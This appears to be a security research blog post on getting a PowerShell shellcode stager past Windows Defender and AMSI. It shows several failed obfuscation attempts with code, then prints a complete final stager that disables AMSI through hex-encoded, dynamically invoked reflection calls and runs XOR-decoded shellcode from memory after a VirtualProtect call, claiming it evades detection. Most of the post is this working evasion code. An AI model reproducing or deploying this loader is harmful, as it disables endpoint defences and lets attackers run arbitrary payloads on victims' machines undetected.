In the modern endpoint security, staging a malware or execute a binary on a disk become easy to detect. Specially malwares written in C/C++ because these Security tools like Windows Defender/AMSI and EDR system trained on these legacy language binaries unlike the modern one like Go,Rust etc.

So, This research explains Reflective Memory Injection and how to evade AMSI detection for a module written in C++ and then later staged using powershell.

Before diving into the exploitation process, we first need to understand how Windows Defender analyzes files.

The "Write-to-Disk" Trigger: Every time a file is created or modified, the Windows kernel triggers a callback to the Antimalware filter driver. This initiates a scan before the file is executed.

Signature Extraction : Windows Defender decomposes the file, identifying key sections (like .text, .data, and the Import Address Table). It generates a "fingerprint" based on these structures.

Matching and Analysis : If the static signature matches a known threat, the file is blocked. If the signature is unknown but looks "sus" (e.g., high entropy or sus functions like VirtualAlloc), Defender often flags it as a "Trojan" or "Backdoor" based on its heuristic model or behavior.

Automatic Sample Submission: If a file is flagged as suspicious, it may be automatically submitted to Microsoft's cloud for further analysis. For most of windows systems, this is done automatically. But as a researcher, we might want to turn off auto sample submission.

Auto Sample Submission

In our initial approach, we were writing a script to disk (original_sql_srv.ps1) and then executing it. Modern Windows security (Windows Defender/AMSI) isn't just looking for "viruses"; it is performing Static Analysis.

When the file hits the disk, the AMSI triggers immediately. It looks at the file content and compares it against a database of known malicious patterns or signatures and more importantly identifies its "dangerous" behaviors. Our original script was flagged because it contained common patterns used by loaders. So for this we'll use a Threat Check application

Original Script Flagged

As you can see, the script is flagged so lets find out which byte is causing the engine to flag it

Original Script Flagged

The Triggered End of bad byte offset at: 0x113. It happens b/c AMSI matchs this characters to the existing signature

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static')

SetValue($null,$true) call is the final "bad byte" in that sequence. Once the engine sees the target (AmsiUtils) and the action (SetValue of amsiInitFailed), it creates an AmsiResultDetected event before the script ever executes.

AMSI detects simple string-based bypasses, like reversing a malicious string, because modern providers such as Windows Defender and AMSI use a dynamic analysis and emulation to evaluate the script's behavior before execution.

Simply, when the string reversed version of the stager is executed, it will detect the strings at a runtime

String Reversing

The Triggered End of bad byte offset at: 0x1AF. The moment our script run it reconstructs the reversed string System.Management.Automation.AmsiUtils in the emulator’s memory, the engine flags it as malicious, which was already compared to the existed signature.

This concept is almost same as string reversing, but instead of reversing the string, we dissect and concatenate multiple strings to form the stager script.

String Concatenation

As expected, the concatenated string get flagged again because AMSI perform most of its analysis at runtime.

$s1 = 'System.Management.Automation.A' + 'msi' + 'Utils'
$s2 = 'amsi' + 'Init' + 'Failed'
$m = [Ref].Assembly.GetType($s1).GetField($s2, 'NonPublic,Static')
$m.SetValue($null, $true)

The hex encoding method flagged becuase hex-encoding the strings wasn't enough because the AMSI engine is now pattern-matching the conversion logic itself.

$bnbku = [char[]](0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x4d,0x61,0x6e,0x61,0x67,0x65,0x6d,0x65,0x6e,0x74,0x2e,0x41,0x75,0x74,0x6f,0x6d,0x61,0x74,0x69,0x6f,0x6e,0x2e,0x41,0x6d,0x73,0x69,0x55,0x74,0x69,0x6c,0x73) -join ''
$uaymf = [char[]](0x61,0x6d,0x73,0x69,0x49,0x6e,0x69,0x74,0x46,0x61,0x69,0x6c,0x65,0x64) -join ''

$vdlqr = [Ref].Assembly.GetType($bnbku).GetField($uaymf, 'NonPublic,Static')
$vdlqr.SetValue($null, $true)
Hex Encoding

Even though we encode the so called "malicious strings" (AmsiUtils, amsiInitFailed), the engine looked at the context of the code. It saw a pattern of:

We confirmed either we concatenate/reverse the strings or use hex encoding, but the AMSI engine still flags it. because it analyses the context of the code. so lets move on to Runtime Integrated Memory Injection.

Injection Part

The latest scan triggered at 0x419 because, despite our pointer resolution approach, the static signature of the SetValue action still existed in the file.The problem is even though we hex-encoded the string, the method call SetValue is a static keyword in the script. Thus we need to invoke SetValue using the same "Dynamic Delegate" pattern we used for VirtualProtect. By stripping the keyword SetValue from the stager source

In PowerShell, methods can be called as strings. Instead of the loud, static [Ref].Assembly.GetType(), we used:

$obj."$methodName"($argument)

To the static scanner, this is no longer a method call; it is a variable property accessor.

GetType, GetField, and SetValue are completely removed from the script's plaintext. They only exist as hex arrays, which are reconstructed in memory at the exact millisecond of execution.

The Final Logic

Lets devide them as a level and we call each step by their step level

By Hex-encoding + Randomized variables, we fragmented the chain. The engine sees a hex array being joined (Step A), but it doesn't know that the resulting string will be used as a method name (Step B) until the script is already running because the method name is dynamically constructed in memory at runtime instead of intialization it as a string variables. This effectively defeats the Emulation phase of AMSI, which is where the engine tries to predict the behavior of the script before it runs.

The Polymorphic Entropy

No Threats Found
No Threats Found

Final Stager Source

$uakjho = [char[]](0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x4d,0x61,0x6e,0x61,0x67,0x65,0x6d,0x65,0x6e,0x74,0x2e,0x41,0x75,0x74,0x6f,0x6d,0x61,0x74,0x69,0x6f,0x6e,0x2e,0x41,0x6d,0x73,0x69,0x55,0x74,0x69,0x6c,0x73) -join ''
$nukjvb = [char[]](0x61,0x6d,0x73,0x69,0x49,0x6e,0x69,0x74,0x46,0x61,0x69,0x6c,0x65,0x64) -join ''
$mavedy = [char[]](0x47,0x65,0x74,0x54,0x79,0x70,0x65) -join ''
$itdljh = [char[]](0x47,0x65,0x74,0x46,0x69,0x65,0x6c,0x64) -join ''
$nslmvi = [char[]](0x53,0x65,0x74,0x56,0x61,0x6c,0x75,0x65) -join ''

$bapegm = [Ref].Assembly
$t = $bapegm."$mavedy"($uakjho)
$rwouwg = $t."$itdljh"($nukjvb, 'NonPublic,Static')
$rwouwg."$nslmvi"($null, $true)

$bnbcrb = @''@ #base64 encoded, shellcode goes here

$phibuf = [System.Convert]::FromBase64String(($bnbcrb -replace "`n","" -replace "`r",""))
for($i=0; $i -lt $phibuf.count; $i++) { $phibuf[$i] = $phibuf[$i] -bxor 201 }

$ma = [System.Reflection.MethodAttributes]::Public -bor [System.Reflection.MethodAttributes]::Static -bor [System.Reflection.MethodAttributes]::PinvokeImpl
$cc = [System.Runtime.InteropServices.CallingConvention]::Winapi
$au = [System.Runtime.InteropServices.CharSet]::Auto

$dom = [System.AppDomain]::CurrentDomain
$asm = New-Object System.Reflection.AssemblyName('moozbd')
$ab = $dom.DefineDynamicAssembly($asm, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$mb = $ab.DefineDynamicModule('uspskk')
$tb = $mb.DefineType('cmdtwg', 'Public, Class')

$tb.DefinePInvokeMethod('VirtualProtect', 'kernel32.dll', $ma, 'Standard', [Bool], [Type[]]@([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()), $cc, $au) | Out-Null

$bnzoxl = $tb.CreateType()

$h = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($phibuf.Length)
$o = 0

[System.Runtime.InteropServices.Marshal]::Copy($phibuf, 0, $h, $phibuf.Length)
$bnzoxl::VirtualProtect($h, [UIntPtr]([uint64]$phibuf.Length), 0x40, [ref]$o) | Out-Null

$del = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($h, [Action])
$del.Invoke()

The whole research from original_sql_srv.ps1 (Detected) to the final version (Evaded) confirms the power of Advanced Reflective Memory Injection. that by the final stage, we able to evade a obfuscated powershell stager within legitimate-looking .NET operations + calling methods at runtime. This approach effectively bypasses defender engines their heuristic security models.

Most of AMSI detections are based on behavior patterns rather than signatures. So, even if you change the string or the method name or obfuscate with a various techniques, if the behavior of the script matches a known malicious pattern (like calling SetValue on a field named amsiInitFailed), it can still be flagged. since they analyzes at runtime by the time the strings are reconstructed. This is why we had to go beyond just obfuscating strings and also change how we invoke methods to truly evade detection.